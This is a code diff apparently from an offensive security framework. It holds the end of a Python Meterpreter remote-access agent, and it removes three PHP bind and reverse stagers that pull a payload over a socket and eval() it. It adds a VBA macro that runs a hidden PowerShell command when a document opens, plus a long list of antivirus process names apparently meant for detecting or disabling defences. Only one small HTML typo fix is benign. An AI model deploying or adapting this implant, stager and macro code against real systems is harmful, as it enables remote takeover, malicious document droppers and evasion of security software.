if has_windll:
|
||||
self.register_function(func)
|
||||
return func
|
||||
|
||||
def add_channel(self, channel):
|
||||
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
||||
idx = 0
|
||||
while idx in self.channels:
|
||||
idx += 1
|
||||
self.channels[idx] = channel
|
||||
return idx
|
||||
|
||||
def add_process(self, process):
|
||||
idx = 0
|
||||
while idx in self.processes:
|
||||
idx += 1
|
||||
self.processes[idx] = process
|
||||
return idx
|
||||
|
||||
def get_packet(self):
|
||||
packet = getattr(self, 'get_packet_' + self.driver)()
|
||||
self.communications_last = time.time()
|
||||
if packet:
|
||||
self.communications_active = True
|
||||
return packet
|
||||
|
||||
def send_packet(self, packet):
|
||||
getattr(self, 'send_packet_' + self.driver)(packet)
|
||||
self.communications_last = time.time()
|
||||
self.communications_active = True
|
||||
|
||||
def get_packet_http(self):
|
||||
packet = None
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
packet = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
if packet:
|
||||
packet = packet[8:]
|
||||
else:
|
||||
packet = None
|
||||
return packet
|
||||
|
||||
def send_packet_http(self, packet):
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
response = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
|
||||
def get_packet_tcp(self):
|
||||
packet = None
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
packet = self.socket.recv(8)
|
||||
if len(packet) != 8:
|
||||
self.running = False
|
||||
return None
|
||||
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||
pkt_length -= 8
|
||||
packet = bytes()
|
||||
while len(packet) < pkt_length:
|
||||
packet += self.socket.recv(pkt_length - len(packet))
|
||||
return packet
|
||||
|
||||
def send_packet_tcp(self, packet):
|
||||
self.socket.send(packet)
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
request = None
|
||||
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
||||
self.communications_active = False
|
||||
if should_get_packet:
|
||||
request = self.get_packet()
|
||||
if request:
|
||||
response = self.create_response(request)
|
||||
self.send_packet(response)
|
||||
else:
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
for channel_id in channel_ids:
|
||||
channel = self.channels[channel_id]
|
||||
data = bytes()
|
||||
if isinstance(channel, STDProcess):
|
||||
if not channel_id in self.interact_channels:
|
||||
continue
|
||||
if channel.stderr_reader.is_read_ready():
|
||||
data = channel.stderr_reader.read()
|
||||
elif channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
elif isinstance(channel, MeterpreterSocketClient):
|
||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
try:
|
||||
d = channel.recv(1)
|
||||
except socket.error:
|
||||
d = bytes()
|
||||
if len(d) == 0:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
break
|
||||
data += d
|
||||
elif isinstance(channel, MeterpreterSocketServer):
|
||||
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
(client_sock, client_addr) = channel.accept()
|
||||
server_addr = channel.getsockname()
|
||||
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_machine_id(self, request, response):
|
||||
serial = ''
|
||||
machine_name = platform.uname()[1]
|
||||
if has_windll:
|
||||
from ctypes import wintypes
|
||||
|
||||
k32 = ctypes.windll.kernel32
|
||||
sys_dir = ctypes.create_unicode_buffer(260)
|
||||
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
|
||||
return ERROR_FAILURE_WINDOWS
|
||||
|
||||
vol_buf = ctypes.create_unicode_buffer(260)
|
||||
fs_buf = ctypes.create_unicode_buffer(260)
|
||||
serial_num = wintypes.DWORD(0)
|
||||
|
||||
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
|
||||
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
|
||||
None, fs_buf, ctypes.sizeof(fs_buf)):
|
||||
return ERROR_FAILURE_WINDOWS
|
||||
serial_num = serial_num.value
|
||||
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
|
||||
else:
|
||||
for _, _, files in os.walk('/dev/disk/by-id/'):
|
||||
for f in files:
|
||||
if f[:4] == 'ata-':
|
||||
serial = f[4:]
|
||||
break
|
||||
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
|
||||
self.last_registered_extension = None
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
extension_name = self.last_registered_extension
|
||||
|
||||
if extension_name:
|
||||
check_extension = lambda x: x.startswith(extension_name)
|
||||
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
||||
for method in lib_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_shutdown(self, request, response):
|
||||
response += tlv_pack(TLV_TYPE_BOOL, True)
|
||||
self.running = False
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_open(self, request, response):
|
||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||
handler = 'channel_open_' + channel_type['value']
|
||||
if handler not in self.extension_functions:
|
||||
return error_result(NotImplementedError), response
|
||||
handler = self.extension_functions[handler]
|
||||
return handler(request, response)
|
||||
|
||||
def _core_channel_close(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
channel.kill()
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.close()
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
channel.close()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_eof(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
result = False
|
||||
if isinstance(channel, MeterpreterFile):
|
||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_interact(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
|
||||
if toggle:
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
else:
|
||||
self.interact_channels.append(channel_id)
|
||||
elif channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_read(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
if isinstance(channel, STDProcess):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read(length)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
data = channel.recv(length)
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_write(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
l = len(channel_data)
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
try:
|
||||
l = channel.send(channel_data)
|
||||
except socket.error:
|
||||
channel.close()
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def create_response(self, request):
|
||||
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
||||
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
||||
resp += tlv_pack(method_tlv)
|
||||
|
||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
self.debug_print('[*] running method ' + handler_name)
|
||||
result, resp = handler(request, resp)
|
||||
except Exception:
|
||||
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
|
||||
if DEBUGGING:
|
||||
traceback.print_exc(file=sys.stderr)
|
||||
result = error_result()
|
||||
else:
|
||||
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
|
||||
result = error_result(NotImplementedError)
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
return resp
|
||||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
try:
|
||||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
if HTTP_CONNECTION_URL and has_urllib:
|
||||
met = PythonMeterpreter()
|
||||
else:
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
|
@ -1,56 +0,0 @@
|
|||
#<?php
|
||||
|
||||
# The payload handler overwrites this with the correct LPORT before sending
|
||||
# it to the victim.
|
||||
$port = 4444;
|
||||
$ipaddr = "0.0.0.0";
|
||||
|
||||
if (is_callable('stream_socket_server')) {
|
||||
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
fclose($srvsock);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();
|
|
@ -1,53 +0,0 @@
|
|||
#<?php
|
||||
|
||||
# The payload handler overwrites this with the correct LPORT before sending
|
||||
# it to the victim.
|
||||
$port = 4444;
|
||||
$ipaddr = "::";
|
||||
|
||||
if (is_callable('stream_socket_server')) {
|
||||
$srvsock = stream_socket_server("tcp://[{$ipaddr}]:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();
|
|
@ -1,56 +0,0 @@
|
|||
#<?php
|
||||
|
||||
error_reporting(0);
|
||||
# The payload handler overwrites this with the correct LHOST before sending
|
||||
# it to the victim.
|
||||
$ip = '127.0.0.1';
|
||||
$port = 4444;
|
||||
$ipf = AF_INET;
|
||||
|
||||
if (FALSE !== strpos($ip, ":")) {
|
||||
# ipv6 requires brackets around the address
|
||||
$ip = "[". $ip ."]";
|
||||
$ipf = AF_INET6;
|
||||
}
|
||||
|
||||
if (($f = 'stream_socket_client') && is_callable($f)) {
|
||||
$s = $f("tcp://{$ip}:{$port}");
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'fsockopen') && is_callable($f)) {
|
||||
$s = $f($ip, $port);
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'socket_create') && is_callable($f)) {
|
||||
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
|
||||
$res = @socket_connect($s, $ip, $port);
|
||||
if (!$res) { die(); }
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die('no socket funcs');
|
||||
}
|
||||
if (!$s) { die('no socket'); }
|
||||
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();
|
|
@ -0,0 +1,12 @@
|
|||
Sub %{sub_auto_open}()
|
||||
Dim %{var_powershell}
|
||||
%{var_powershell} = %{powershell}
|
||||
Call Shell(%{var_powershell}, vbHide)
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
%{sub_auto_open}
|
||||
End Sub
|
||||
Sub Workbook_Open()
|
||||
%{sub_auto_open}
|
||||
End Sub
|
||||
|
|
@ -169,7 +169,7 @@
|
|||
userid: 'self',
|
||||
stream: stream
|
||||
});
|
||||
|
||||
|
||||
callback(stream);
|
||||
});
|
||||
}
|
||||
|
@ -178,7 +178,7 @@
|
|||
<body>
|
||||
|
||||
<div class="windowa" id="windowa">
|
||||
<b>You peer</b>
|
||||
<b>Your peer</b>
|
||||
</div>
|
||||
|
||||
<div class="dot1"></div>
|
||||
|
@ -199,4 +199,4 @@
|
|||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
|
|
@ -0,0 +1,614 @@
|
|||
emet_agent.exe
|
||||
emet_service.exe
|
||||
firesvc.exe
|
||||
firetray.exe
|
||||
hipsvc.exe
|
||||
mfevtps.exe
|
||||
mcafeefire.exe
|
||||
scan32.exe
|
||||
shstat.exe
|
||||
tbmon.exe
|
||||
vstskmgr.exe
|
||||
engineserver.exe
|
||||
mfevtps.exe
|
||||
mfeann.exe
|
||||
mcscript.exe
|
||||
updaterui.exe
|
||||
udaterui.exe
|
||||
naprdmgr.exe
|
||||
frameworkservice.exe
|
||||
cleanup.exe
|
||||
cmdagent.exe
|
||||
frminst.exe
|
||||
mcscript_inuse.exe
|
||||
mctray.exe
|
||||
mcshield.exe
|
||||
AAWTray.exe
|
||||
Ad-Aware.exe
|
||||
MSASCui.exe
|
||||
_avp32.exe
|
||||
_avpcc.exe
|
||||
_avpm.exe
|
||||
aAvgApi.exe
|
||||
ackwin32.exe
|
||||
adaware.exe
|
||||
advxdwin.exe
|
||||
agentsvr.exe
|
||||
agentw.exe
|
||||
alertsvc.exe
|
||||
alevir.exe
|
||||
alogserv.exe
|
||||
amon9x.exe
|
||||
anti-trojan.exe
|
||||
antivirus.exe
|
||||
ants.exe
|
||||
apimonitor.exe
|
||||
aplica32.exe
|
||||
apvxdwin.exe
|
||||
arr.exe
|
||||
atcon.exe
|
||||
atguard.exe
|
||||
atro55en.exe
|
||||
atupdater.exe
|
||||
atwatch.exe
|
||||
au.exe
|
||||
aupdate.exe
|
||||
auto-protect.nav80try.exe
|
||||
autodown.exe
|
||||
autotrace.exe
|
||||
autoupdate.exe
|
||||
avconsol.exe
|
||||
ave32.exe
|
||||
avgcc32.exe
|
||||
avgctrl.exe
|
||||
avgemc.exe
|
||||
avgnt.exe
|
||||
avgrsx.exe
|
||||
avgserv.exe
|
||||
avgserv9.exe
|
||||
avguard.exe
|
||||
avgw.exe
|
||||
avkpop.exe
|
||||
avkserv.exe
|
||||
avkservice.exe
|
||||
avkwctl9.exe
|
||||
avltmain.exe
|
||||
avnt.exe
|
||||
avp.exe
|
||||
avp.exe
|
||||
avp32.exe
|
||||
avpcc.exe
|
||||
avpdos32.exe
|
||||
avpm.exe
|
||||
avptc32.exe
|
||||
avpupd.exe
|
||||
avsched32.exe
|
||||
avsynmgr.exe
|
||||
avwin.exe
|
||||
avwin95.exe
|
||||
avwinnt.exe
|
||||
avwupd.exe
|
||||
avwupd32.exe
|
||||
avwupsrv.exe
|
||||
avxmonitor9x.exe
|
||||
avxmonitornt.exe
|
||||
avxquar.exe
|
||||
backweb.exe
|
||||
bargains.exe
|
||||
bd_professional.exe
|
||||
beagle.exe
|
||||
belt.exe
|
||||
bidef.exe
|
||||
bidserver.exe
|
||||
bipcp.exe
|
||||
bipcpevalsetup.exe
|
||||
bisp.exe
|
||||
blackd.exe
|
||||
blackice.exe
|
||||
blink.exe
|
||||
blss.exe
|
||||
bootconf.exe
|
||||
bootwarn.exe
|
||||
borg2.exe
|
||||
bpc.exe
|
||||
brasil.exe
|
||||
bs120.exe
|
||||
bundle.exe
|
||||
bvt.exe
|
||||
ccapp.exe
|
||||
ccevtmgr.exe
|
||||
ccpxysvc.exe
|
||||
ccsvchst.exe
|
||||
cdp.exe
|
||||
cfd.exe
|
||||
cfgwiz.exe
|
||||
cfiadmin.exe
|
||||
cfiaudit.exe
|
||||
cfinet.exe
|
||||
cfinet32.exe
|
||||
claw95.exe
|
||||
claw95cf.exe
|
||||
clean.exe
|
||||
cleaner.exe
|
||||
cleaner3.exe
|
||||
cleanpc.exe
|
||||
click.exe
|
||||
cmesys.exe
|
||||
cmgrdian.exe
|
||||
cmon016.exe
|
||||
connectionmonitor.exe
|
||||
cpd.exe
|
||||
cpf9x206.exe
|
||||
cpfnt206.exe
|
||||
ctrl.exe
|
||||
cv.exe
|
||||
cwnb181.exe
|
||||
cwntdwmo.exe
|
||||
datemanager.exe
|
||||
dcomx.exe
|
||||
defalert.exe
|
||||
defscangui.exe
|
||||
defwatch.exe
|
||||
deputy.exe
|
||||
divx.exe
|
||||
dllcache.exe
|
||||
dllreg.exe
|
||||
doors.exe
|
||||
dpf.exe
|
||||
dpfsetup.exe
|
||||
dpps2.exe
|
||||
drwatson.exe
|
||||
drweb32.exe
|
||||
drwebupw.exe
|
||||
dssagent.exe
|
||||
dvp95.exe
|
||||
dvp95_0.exe
|
||||
ecengine.exe
|
||||
efpeadm.exe
|
||||
emsw.exe
|
||||
ent.exe
|
||||
esafe.exe
|
||||
escanhnt.exe
|
||||
escanv95.exe
|
||||
espwatch.exe
|
||||
ethereal.exe
|
||||
etrustcipe.exe
|
||||
evpn.exe
|
||||
exantivirus-cnet.exe
|
||||
exe.avxw.exe
|
||||
expert.exe
|
||||
explore.exe
|
||||
f-agnt95.exe
|
||||
f-prot.exe
|
||||
f-prot95.exe
|
||||
f-stopw.exe
|
||||
fameh32.exe
|
||||
fast.exe
|
||||
fch32.exe
|
||||
fih32.exe
|
||||
findviru.exe
|
||||
firewall.exe
|
||||
fnrb32.exe
|
||||
fp-win.exe
|
||||
fp-win_trial.exe
|
||||
fprot.exe
|
||||
frw.exe
|
||||
fsaa.exe
|
||||
fsav.exe
|
||||
fsav32.exe
|
||||
fsav530stbyb.exe
|
||||
fsav530wtbyb.exe
|
||||
fsav95.exe
|
||||
fsgk32.exe
|
||||
fsm32.exe
|
||||
fsma32.exe
|
||||
fsmb32.exe
|
||||
gator.exe
|
||||
gbmenu.exe
|
||||
gbpoll.exe
|
||||
generics.exe
|
||||
gmt.exe
|
||||
guard.exe
|
||||
guarddog.exe
|
||||
hacktracersetup.exe
|
||||
hbinst.exe
|
||||
hbsrv.exe
|
||||
hotactio.exe
|
||||
hotpatch.exe
|
||||
htlog.exe
|
||||
htpatch.exe
|
||||
hwpe.exe
|
||||
hxdl.exe
|
||||
hxiul.exe
|
||||
iamapp.exe
|
||||
iamserv.exe
|
||||
iamstats.exe
|
||||
ibmasn.exe
|
||||
ibmavsp.exe
|
||||
icload95.exe
|
||||
icloadnt.exe
|
||||
icmon.exe
|
||||
icsupp95.exe
|
||||
icsuppnt.exe
|
||||
idle.exe
|
||||
iedll.exe
|
||||
iedriver.exe
|
||||
iface.exe
|
||||
ifw2000.exe
|
||||
inetlnfo.exe
|
||||
infus.exe
|
||||
infwin.exe
|
||||
init.exe
|
||||
intdel.exe
|
||||
intren.exe
|
||||
iomon98.exe
|
||||
istsvc.exe
|
||||
jammer.exe
|
||||
jdbgmrg.exe
|
||||
jedi.exe
|
||||
kavlite40eng.exe
|
||||
kavpers40eng.exe
|
||||
kavpf.exe
|
||||
kazza.exe
|
||||
keenvalue.exe
|
||||
kerio-pf-213-en-win.exe
|
||||
kerio-wrl-421-en-win.exe
|
||||
kerio-wrp-421-en-win.exe
|
||||
kernel32.exe
|
||||
killprocesssetup161.exe
|
||||
launcher.exe
|
||||
ldnetmon.exe
|
||||
ldpro.exe
|
||||
ldpromenu.exe
|
||||
ldscan.exe
|
||||
lnetinfo.exe
|
||||
loader.exe
|
||||
localnet.exe
|
||||
lockdown.exe
|
||||
lockdown2000.exe
|
||||
lookout.exe
|
||||
lordpe.exe
|
||||
lsetup.exe
|
||||
luall.exe
|
||||
luau.exe
|
||||
lucomserver.exe
|
||||
luinit.exe
|
||||
luspt.exe
|
||||
mapisvc32.exe
|
||||
mcagent.exe
|
||||
mcmnhdlr.exe
|
||||
mcshield.exe
|
||||
mctool.exe
|
||||
mcupdate.exe
|
||||
mcvsrte.exe
|
||||
mcvsshld.exe
|
||||
md.exe
|
||||
mfin32.exe
|
||||
mfw2en.exe
|
||||
mfweng3.02d30.exe
|
||||
mgavrtcl.exe
|
||||
mgavrte.exe
|
||||
mghtml.exe
|
||||
mgui.exe
|
||||
minilog.exe
|
||||
mmod.exe
|
||||
monitor.exe
|
||||
moolive.exe
|
||||
mostat.exe
|
||||
mpfagent.exe
|
||||
mpfservice.exe
|
||||
mpftray.exe
|
||||
mrflux.exe
|
||||
msapp.exe
|
||||
msbb.exe
|
||||
msblast.exe
|
||||
mscache.exe
|
||||
msccn32.exe
|
||||
mscman.exe
|
||||
msconfig.exe
|
||||
msdm.exe
|
||||
msdos.exe
|
||||
msiexec16.exe
|
||||
msinfo32.exe
|
||||
mslaugh.exe
|
||||
msmgt.exe
|
||||
msmsgri32.exe
|
||||
mssmmc32.exe
|
||||
mssys.exe
|
||||
msvxd.exe
|
||||
mu0311ad.exe
|
||||
mwatch.exe
|
||||
n32scanw.exe
|
||||
nav.exe
|
||||
navap.navapsvc.exe
|
||||
navapsvc.exe
|
||||
navapw32.exe
|
||||
navdx.exe
|
||||
navlu32.exe
|
||||
navnt.exe
|
||||
navstub.exe
|
||||
navw32.exe
|
||||
navwnt.exe
|
||||
nc2000.exe
|
||||
ncinst4.exe
|
||||
ndd32.exe
|
||||
neomonitor.exe
|
||||
neowatchlog.exe
|
||||
netarmor.exe
|
||||
netd32.exe
|
||||
netinfo.exe
|
||||
netmon.exe
|
||||
netscanpro.exe
|
||||
netspyhunter-1.2.exe
|
||||
netstat.exe
|
||||
netutils.exe
|
||||
nisserv.exe
|
||||
nisum.exe
|
||||
nmain.exe
|
||||
nod32.exe
|
||||
normist.exe
|
||||
norton_internet_secu_3.0_407.exe
|
